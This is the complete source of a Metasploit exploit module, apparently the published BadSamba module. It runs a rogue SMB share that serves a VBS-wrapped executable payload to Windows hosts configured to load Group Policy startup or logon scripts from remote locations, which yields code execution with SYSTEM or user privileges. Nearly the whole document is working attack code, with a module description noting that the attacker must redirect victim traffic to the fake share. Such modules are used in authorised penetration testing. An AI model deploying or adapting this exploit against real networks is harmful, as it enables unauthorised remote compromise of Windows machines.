Group Policy Script Execution From Shared Resource

`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ManualRanking  
  
include Msf::Exploit::Remote::SMB::Server::Share  
  
def initialize(info={})  
super(update_info(info,  
'Name' => 'Group Policy Script Execution From Shared Resource',  
'Description' => %q{  
This is a general-purpose module for exploiting systems with Windows Group Policy  
configured to load VBS startup/logon scripts from remote locations. This module runs  
a SMB shared resource that will provide a payload through a VBS file. Startup scripts  
will be executed with SYSTEM privileges, while logon scripts will be executed with the  
user privileges. Have into account which the attacker still needs to redirect the  
target traffic to the fake SMB share to exploit it successfully. Please note in some  
cases, it will take 5 to 10 minutes to receive a session.  
},  
'Author' =>  
[  
'Sam Bertram <sbertram[at]gdssecurity.com>', # BadSamba  
'juan vazquez' # msf module  
],  
'References' =>  
[  
['URL', 'http://blog.gdssecurity.com/labs/2015/1/26/badsamba-exploiting-windows-startup-scripts-using-a-maliciou.html'],  
['URL', 'https://github.com/GDSSecurity/BadSamba']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Privileged' => false,  
'Platform' => 'win',  
'Arch' => [ARCH_X86, ARCH_X86_64],  
'Payload' =>  
{  
'Space' => 2048,  
'DisableNops' => true  
},  
'Targets' =>  
[  
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],  
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]  
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Jan 26 2015'  
))  
  
register_options(  
[  
OptString.new('FILE_NAME', [ false, 'VBS File name to share (Default: random .vbs)'])  
], self.class)  
  
deregister_options('FILE_CONTENTS')  
end  
  
def setup  
super  
self.file_name = datastore['FILE_NAME'] || "#{Rex::Text.rand_text_alpha(4 + rand(3))}.vbs"  
@custom_payloads = {}  
print_status("File available on #{unc}...")  
end  
  
def on_client_connect(client)  
super(client)  
  
unless @custom_payloads[:client]  
p = regenerate_payload(client)  
exe = p.encoded_exe  
@custom_payloads[client] = Msf::Util::EXE.to_exe_vbs(exe)  
end  
end  
  
def get_file_contents(client:)  
contents = @custom_payloads[client] || super(client: client)  
  
contents  
end  
end  
`